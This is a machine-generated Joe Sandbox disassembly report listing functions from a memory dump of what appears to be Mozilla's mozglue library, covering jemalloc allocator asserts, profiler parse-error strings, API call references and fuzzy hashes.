Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: C>^l$nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-824577501
Opcode ID: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction ID: 830f487e22a20854b4bdcf881081af94df7f89769472e088442cdca2fcdb7ae2
Opcode Fuzzy Hash: 95ebb9ac353a88cf6e96b721d1307f9bebc059f1070ab2c6694063e86a18f340
Instruction Fuzzy Hash: BF522271614B488FD711DF74CCD0AAB7BE9AF84208F44492DD5A29BB82DB74F909CB60

Function 6C5BFEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E7B8), ref: 6C5BFF81
LeaveCriticalSection.KERNEL32(6C62E7B8), ref: 6C5C022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C5C0240
EnterCriticalSection.KERNEL32(6C62E768), ref: 6C5C025B
LeaveCriticalSection.KERNEL32(6C62E768), ref: 6C5C027B

Strings

MOZ_CRASH(), xrefs: 6C5C0CA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5BFE99, 6C5BFEB7, 6C5BFED3, 6C5C0DB8, 6C5C0DD3, 6C5C19B4, 6C5C1A10

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3566792288
Opcode ID: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction ID: b7722316f7f8b11ac73ac9901a6f709d107469c9796cf0c6c0e83585abe21524
Opcode Fuzzy Hash: db724cea44ad0edde6daec61943cf64cf0c1b144844c3e96c852a5751d8fe328
Instruction Fuzzy Hash: 56B2BC717057418FD714CF69C990716BBE1BF85328F28CA6DE86A8B795C774E840CB82

Function 6C5F5600 Relevance: 22.0, APIs: 6, Strings: 6, Instructions: 950COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5F606D
expected a Count entry, xrefs: 6C5F5AC3
expected a Time entry, xrefs: 6C5F5CB6
ProfileBuffer parse error: %s, xrefs: 6C5F5AC8, 6C5F5CBB
data, xrefs: 6C5F6131
name, xrefs: 6C5F5E79, 6C5F5E8F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID:
String ID: ProfileBuffer parse error: %s$data$expected a Count entry$expected a Time entry$name$schema
API String ID: 0-2712937348
Opcode ID: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction ID: 1537a568d05ee02c999aa3b86a9febbb8827f14098fd70b351eb7e192b891d6f
Opcode Fuzzy Hash: bebfe88e693bff66a8ed05683d053d4dd6be823f51c6927c82a8019a4f190da4
Instruction Fuzzy Hash: 90923C716083418FD728CF18C89075ABBE1BFC5308F55891DE5AA9B751DB30E94ACF92

Function 6C5B7810 Relevance: 21.4, APIs: 12, Strings: 2, Instructions: 372COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5B7885
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5B78A5
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5B78AD
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5B78CD
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B78D4
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B78E9
EnterCriticalSection.KERNEL32(00000000), ref: 6C5B795D
memset.VCRUNTIME140(?,00000000,00000160), ref: 6C5B79BB
LeaveCriticalSection.KERNEL32(?), ref: 6C5B7BBC
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C5B7C82
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5B7CD2
memset.VCRUNTIME140(00000000,00000000,00000450), ref: 6C5B7DAF

Strings

Dbl, xrefs: 6C5B787F
Dbl, xrefs: 6C5B789F

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememset
String ID: Dbl$Dbl
API String ID: 759993129-2483856670
Opcode ID: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction ID: 4a34f0f1089bc92d6387a8b82554bcb8a06f354d0b2b214a5fef26b25937d13d
Opcode Fuzzy Hash: cdb92a09bcf296de7895f217629b9f3c4c2f272f51fd5facda53854bddb52d21
Instruction Fuzzy Hash: 3E029230A012198FDB54CF29C994799BBB5FF88358F2582AAD809B7710D734BE90CF94

Function 6C5F2E4E Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 579stringCOMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C5F2ED3
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F2EE7
MozFormatCodeAddressDetails.MOZGLUE(?,000000FF,00000000,?,?), ref: 6C5F2F0D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F3214
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5F3242
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5F36BF

Strings

MOZ_PROFILER_SYMBOLICATE, xrefs: 6C5F378D
get , xrefs: 6C5F3205
set , xrefs: 6C5F36EC

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$AddressCode$DescribeDetailsFormat
String ID: MOZ_PROFILER_SYMBOLICATE$get $set
API String ID: 2257098003-3318126862
Opcode ID: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction ID: 1dd297eb1b2b79828b1d152e5bb2653aefe833080a7bc1f2fb80730835ded342
Opcode Fuzzy Hash: a103138ac29b8f29655c7509789b3c3037d6f134c8fe433de5e3c338fd85ae12
Instruction Fuzzy Hash: 62324EB02083818FD769CF24C8906AEB7E2AFC9218F548C1DE5A987751DB30D94ACF57

Function 6C5E7E10 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 403COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5E81E3, 6C5E8311
vbl, xrefs: 6C5E8207
(pre-xul), xrefs: 6C5E7E88
name, xrefs: 6C5E7ECF, 6C5E8335
data, xrefs: 6C5E8280, 6C5E83E1

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpystrlen
String ID: (pre-xul)$data$name$schema$vbl
API String ID: 3412268980-3299618421
Opcode ID: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction ID: a1b437141be5dac922db1edcd1149e5d75ca01fef05616cee452cba8cc63c2c9
Opcode Fuzzy Hash: 50d0b56aba3fc2e26aab11ac4f7d6543053b5b6871bed52e6459001306bb12f5
Instruction Fuzzy Hash: 4FE19FB1A043408FC710CF69885165BFBE9BFD9314F14492DE899E7B80DBB5DC098B92

Function 6C605FF0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 76COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6C606009
??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C606024
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(QZl,?), ref: 6C606046
OutputDebugStringA.KERNEL32(?,QZl,?), ref: 6C606061
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C606069
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606073
_dup.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C606082
_fdopen.API-MS-WIN-CRT-MATH-L1-1-0(00000000,6C62148E), ref: 6C606091
__stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,QZl,00000000,?), ref: 6C6060BA
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C6060C4

Strings

QZl, xrefs: 6C605FFC, 6C606042, 6C606045, 6C6060B3

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintfTarget@mozilla@@$?vprint@DebugDebuggerOutputPresentString__acrt_iob_func__stdio_common_vfprintf_dup_fdopen_filenofclose
String ID: QZl
API String ID: 3835517998-1347650013
Opcode ID: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction ID: f15666f5a24b7f9f7825f178081177139a7e0a32dddd7f0d94e971af1c7e5746
Opcode Fuzzy Hash: ae20cf1adbea7b32352e3ae2fb57efe63dbb1a68cb0307b166650bb98f98f5c6
Instruction Fuzzy Hash: 2F21BA71A002089FDF205F65DC4969E7BB8FF85314F008428E85B97640CB75A959CFD9

Function 6C5C5E90 Relevance: 19.2, APIs: 5, Strings: 6, Instructions: 2651COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(-0000000C), ref: 6C5C5EDB
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C5F27
LeaveCriticalSection.KERNEL32(?), ref: 6C5C5FB2
memset.VCRUNTIME140(ew`l,000000E5,?), ref: 6C5C61F0
VirtualFree.KERNEL32(-00000001,00100000,00004000), ref: 6C5C7652

Strings

MOZ_CRASH(), xrefs: 6C5C7BA4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C5C72E3
ew`l, xrefs: 6C5C5E9C, 6C5C5F22, 6C5C61ED
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C5C72F8
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C5C730D
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5C7BCD, 6C5C7C1F, 6C5C7C34, 6C5C80FD

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmemset$EnterFreeLeaveVirtual
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)$ew`l
API String ID: 2613674957-3284534115
Opcode ID: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction ID: 93e0d18dc5b735f1175636cdc2c193fcc3228e1f689290c03a4c01b83a1b6579
Opcode Fuzzy Hash: 0eb2f5d1eac8144c8dc0a26fb7c9cc57f2e1d263fa4e5e476b23e3c9fa4fe581
Instruction Fuzzy Hash: F2337D717057018FC304CF69C990625BBE2FF85368F29C6ADE9698BBA5D731E841CB42

Function 6C5F4820 Relevance: 18.2, APIs: 1, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

schema, xrefs: 6C5F48C1
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration, xrefs: 6C5F4D0A
bl, xrefs: 6C5F4F88
ProfileBuffer parse error: %s, xrefs: 6C5F4DD9
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime, xrefs: 6C5F4CAF
data, xrefs: 6C5F49B4
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2, xrefs: 6C5F4D65
expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3, xrefs: 6C5F4DB8, 6C5F4DD8
-%llu, xrefs: 6C5F4825

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free
String ID: bl$-%llu$ProfileBuffer parse error: %s$data$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*2$expected a ProfilerOverheadDuration entry after ProfilerOverheadTime,ProfilerOverheadDuration*3$schema
API String ID: 1294909896-2077017665
Opcode ID: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction ID: fd98a7aa6ab75b5fd96447dc6d80028990b5f4b436d5addc800e05ca4dca9abc
Opcode Fuzzy Hash: bf58ac1bc1d24218161c3589ffb3d371bdbbab0921e3c04237e4291c021297af
Instruction Fuzzy Hash: B0722071918B858BD326CF34C85139BF7E5BFDA344F108B1DE4996B611EB70A886CB42

Function 6C5CD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD4F2
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD50B

Part of subcall function 6C5ACFE0: EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5ACFF6
Part of subcall function 6C5ACFE0: LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5AD026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD52E
EnterCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD6A6
LeaveCriticalSection.KERNEL32(6C62E7DC), ref: 6C5CD712
LeaveCriticalSection.KERNEL32(6C62E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C5DD1C5), ref: 6C5CD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CD7EA

Strings

<jemalloc>, xrefs: 6C5CD827
: (malloc) Error initializing arena, xrefs: 6C5CD82C

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction ID: b70a81f91e4c0ef53031cb780c280b10301117b476674437399d1e57aa31c196
Opcode Fuzzy Hash: d29315c21f819302edc94ff9605a0aa35722c51b6b87dbc11c76b2282769ebf9
Instruction Fuzzy Hash: BF91DE71B447018FD714CFB9C89076AB7E1EB89314F15893EE49AC7A81D738E845CB86

Function 6C604EA0 Relevance: 16.2, APIs: 8, Strings: 1, Instructions: 408sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000007D0), ref: 6C604EFF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C604F2E
moz_xmalloc.MOZGLUE ref: 6C604F52
memset.VCRUNTIME140(00000000,00000000), ref: 6C604F62
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052B2
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C6052E6
Sleep.KERNEL32(00000010), ref: 6C605481
free.MOZGLUE(?), ref: 6C605498

Strings

(, xrefs: 6C605250

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: floor$Sleep$freememsetmoz_xmalloc
String ID: (
API String ID: 4104871533-3887548279
Opcode ID: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction ID: 39158aa9930defee7f6f2410cd12d6e3ea26330b2d5a9aa2321b8e55e89a3b3c
Opcode Fuzzy Hash: 5c593d2faf7809f03efcff2bf2579bf411bce8eae0de8c22617e9788faa5ceca
Instruction Fuzzy Hash: A0F1C471A18B508FC716CF39C89062BB7F5AFE6384F058B2EF846A7651DB31D4428B85

Function 6C607030 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 54windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 6C607046
FormatMessageA.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000), ref: 6C607060
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C60707E

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C607096
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6C60709C
LocalFree.KERNEL32(?), ref: 6C6070AA

Strings

(null), xrefs: 6C60706A, 6C607083
### ERROR: %s: %s, xrefs: 6C607087

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: __acrt_iob_func$ErrorFormatFreeLastLocalMessage__stdio_common_vfprintffflush
String ID: ### ERROR: %s: %s$(null)
API String ID: 2989430195-1695379354
Opcode ID: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction ID: 207a2007d209c76fcff73cc7a9a3a79f5c3462527a4f563cb7ea939f4b7c1af7
Opcode Fuzzy Hash: 06a6c5acbe574e5695b5f25b035d488fdcb795529430589dfa6c10ab4672b0b2
Instruction Fuzzy Hash: 0C01B9B1A00104AFDB00AB65DC8ADEF7BBCEF89255F050435FA46A3241D67579188BA9

Function 6C5C9E50 Relevance: 13.1, APIs: 6, Strings: 1, Instructions: 878COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5C9EB8
LeaveCriticalSection.KERNEL32(?), ref: 6C5C9F24
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5C9F34
LeaveCriticalSection.KERNEL32(?), ref: 6C5CA823
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA83C
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C5CA849

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C5CA8B1, 6C5CA8D4, 6C5CA8EF

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$K@1@LeaveMaybe@_RandomUint64@mozilla@@$Entermemset
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 2950001534-1351931279
Opcode ID: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction ID: 1fa50fc0e4c5f8589d2fcea6b4355c3d6b18af737ba4e5161772e2fe09930924
Opcode Fuzzy Hash: ae4ca745ea65f1ba15a3a0a723ee8c080cdc3be4442e1b30eabcab41ef43afa3
Instruction Fuzzy Hash: 39727A72A056118FD704CF68C980215FFE1BF89328F29C76DE8699B791D375E842CB82

Function 6C5F2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C5F2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C5F2C61

Part of subcall function 6C5A4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5A4E5A
Part of subcall function 6C5A4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C5A4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5F2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C5F2E2D

Part of subcall function 6C5B81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C5B81DE

Strings

(root), xrefs: 6C5F354F
expected a Time entry, xrefs: 6C5F2E36
ProfileBuffer parse error: %s, xrefs: 6C5F2E3B

Memory Dump Source

Source File: 00000000.00000002.2546238867.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2546214611.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546305784.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546337258.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2546356408.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction ID: 0505b8a4d4f82c47b004136eb30c6ac387f42898893907f90401523c696e4f8a
Opcode Fuzzy Hash: 87563e9266fa5d9563851134e896654ca26429316ed0db3640f8f8dd36d38ba5
Instruction Fuzzy Hash: 0591C0B06087808FD728DF28C89069EB7E1AFC9358F50491DE9AA87751DB30D94ACF57

Function 6C609E30 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 347COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 6C609F3D
__aulldiv.LIBCMT ref: 6C609F77
__aullrem.LIBCMT ref: 6C609F8C
__aulldiv.LIBCMT ref: 6C60A023

Strings

-Infinity, xrefs: 6C609E60, 6C609E7B
NaN, xrefs: 6C609EAB

Memory Dump Source

